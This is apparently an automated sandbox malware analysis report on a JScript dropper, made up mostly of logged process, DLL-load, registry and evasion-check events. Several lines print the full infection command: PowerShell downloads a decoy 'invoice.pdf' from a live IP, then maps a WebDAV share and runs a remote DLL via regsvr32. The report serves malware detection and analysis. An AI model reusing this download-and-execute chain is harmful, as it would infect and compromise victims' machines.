Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7279.js.csv");ITextStream.WriteLine(" entry:7815 f:rncfshw");ITextStream.WriteLine(" exec:2 f:rncfshw");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4700			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5119			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5948	Thread sleep count: 4700 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5612	Thread sleep count: 5119 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6544	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5968	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6156	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6660	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2142429917.0000026675A1A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2136405606.0000026675A1A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpF
Source: net.exe, 00000007.00000002.2142429917.0000026675A1A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2136405606.0000026675A1A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2142253271.00000266759B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3356311326.000001F31565E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3356232851.000001F315641000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3354634120.000001F30FE2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
